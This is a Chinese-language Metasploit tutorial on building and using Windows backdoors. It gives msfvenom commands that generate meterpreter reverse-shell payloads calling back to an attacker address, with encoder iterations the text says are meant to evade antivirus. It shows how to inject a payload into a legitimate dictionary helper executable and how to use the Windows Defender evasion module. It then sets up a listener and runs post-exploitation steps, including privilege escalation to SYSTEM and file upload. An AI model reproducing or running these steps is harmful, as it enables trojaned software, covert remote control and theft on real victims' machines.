1.1 后门制作
1.1.1 使用编码器生成后门
1.1.1.1 使用一个编码器生成后门
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.180 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /tmp/windows01.exe
- 参数说明:
- -a:指定架构如x86/x64。x86代表32位,x64代表64位
- --platform:指定平台,这里选择windows,通过msfvenom -l platforms可以查看所有支持的平台
- -p:设置攻击载荷,我们使用windows/meterpreter/reverse tcp,可以通过msfvenom -l payloads查看所有攻击载荷
- LHOST:目标主机执行程序后连接我们Kali的地址
- LPORT:目标主机执行程序后连接我们 Kali的端口
- -b:去掉坏字符,坏字符会影响payload正常执行
- -e:指定编码器,也就是所谓的免杀,x86/shikata_ ga_ nai是msf自带的编码器,可以通过msfvenom -l encoders查看所有编码器
- -i:指定payload有效载荷编码迭代次数,指定编码加密次数, 为了让杀毒软件更难查出源代码
- -f:指定生成格式,可以是raw, exe, elf, jar, C语言的,python 的,java 的.....,用msfvenom -l formats查看所有支持的格式
- -o:指定文件名称和导出位置
1.1.1.2 使用多(两)个编码器生成后门
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.180 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 | msfvenom -a x86 --platform windows -e x86/ao /lpha_upper -i 20 -f exe -o /tmp/windows02.exe
1.1.2 向绿色软件中注入后门
1.1.2.1 上传绿色版软件
# ll -h YoudaoDictHelper.exe -rw-r--r-- 1 root root 2.9M Dec 18 2020 YoudaoDictHelper.exe
1.1.2.2 注入后门
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.180 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -x YoudaoDictHelper.exe -f exe -o /tmp/YoudaoDicDictHelper01.exe
1.1.3 使用evasion模块生成后门
evasion是metasploit自带的模块,使用此模块可以生成反杀毒软件的木马
msf6 > search evasion

msf6 > use evasion/windows/windows_defender_exe [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 evasion(windows/windows_defender_exe) > show options

msf6 evasion(windows/windows_defender_exe) > set FILENAME muma01.exe FILENAME => muma01.exe msf6 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 evasion(windows/windows_defender_exe) > set LHOST 192.168.10.180 LHOST => 192.168.10.180 msf6 evasion(windows/windows_defender_exe) > set LPORT 4444 LPORT => 4444 msf6 evasion(windows/windows_defender_exe) > run

1.2 后门使用
1.2.1 kali启动后门监听程序
# msfconsole msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp # 和后门使用同样的payloads msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.10.180 LHOST => 192.168.10.180 msf6 exploit(multi/handler) > set LPORT 4444 LPORT => 4444
1.2.1.1 前台启动监听
msf6 exploit(multi/handler) > run
1.2.1.2 后台启动监听(允许多个客户端连接)
msf6 exploit(multi/handler) > run -j
1.3 客户机运行后门程序后渗透
1.3.1 查看已经连接上的客户机
1.3.2 meterpreter相关命令
1.3.2.1 命令帮助
meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bg Alias for background bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel detach Detach the meterpreter session (for http/https) disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session get_timeouts Get the current session timeout values guid Get the session GUID help Help menu info Displays information about a Post module irb Open an interactive Ruby shell on the current session load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session migrate Migrate the server to another process pivot Manage pivot listeners pry Open the Pry debugger on the current session quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module secure (Re)Negotiate TLV packet encryption on the session sessions Quickly switch to another session set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session ssl_verify Modify the SSL certificate verification setting transport Manage the transport mechanisms use Deprecated alias for "load" uuid Get the UUID for the current session write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory checksum Retrieve the checksum of a file cp Copy source to destination del Delete the specified file dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcat Read the contents of a local file to the screen lcd Change local working directory lls List local files lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files show_mount List all mount points/logical drives upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- arp Display the host ARP cache getproxy Display the current proxy configuration ifconfig Display interfaces ipconfig Display interfaces netstat Display the network connections portfwd Forward a local port to a remote service resolve Resolve a set of host names on the target route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getsid Get the SID of the user that the server is running as getuid Get the user that the server is running as kill Terminate a process localtime Displays the target system local date and time pgrep Filter processes by name pkill Terminate processes by name ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process suspend Suspends or resumes a list of processes sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------- ----------- enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyboard_send Send keystrokes keyevent Send key events keyscan_dump Dump the keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes mouse Send mouse events screenshare Watch the remote user desktop in real time screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_stream Play a video stream from the specified webcam Stdapi: Audio Output Commands ============================= Command Description ------- ----------- play play a waveform audio file (.wav) on the target system Priv: Elevate Commands ====================== Command Description ------- ----------- getsystem Attempt to elevate your privilege to that of local system. Priv: Password database Commands ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes
1.3.2.2 收集系统信息
meterpreter > getuid Server username: pm-PC\admin meterpreter > sysinfo

meterpreter > dir

meterpreter > ipconfig

1.3.2.3 系统操作
# 系统提权 meterpreter > load priv meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM # 执行系统中的程序 meterpreter > execute -f notepad.exe Process 2064 created. # 上传文件到系统 meterpreter > upload /tmp/test.txt c:\\test.txt [*] uploading : /tmp/test.txt -> c:\test.txt [*] Uploaded 4.00 B of 4.00 B (100.0%): /tmp/test.txt -> c:\test.txt [*] uploaded : /tmp/test.txt -> c:\test.txt meterpreter > background # 保存会话到后台

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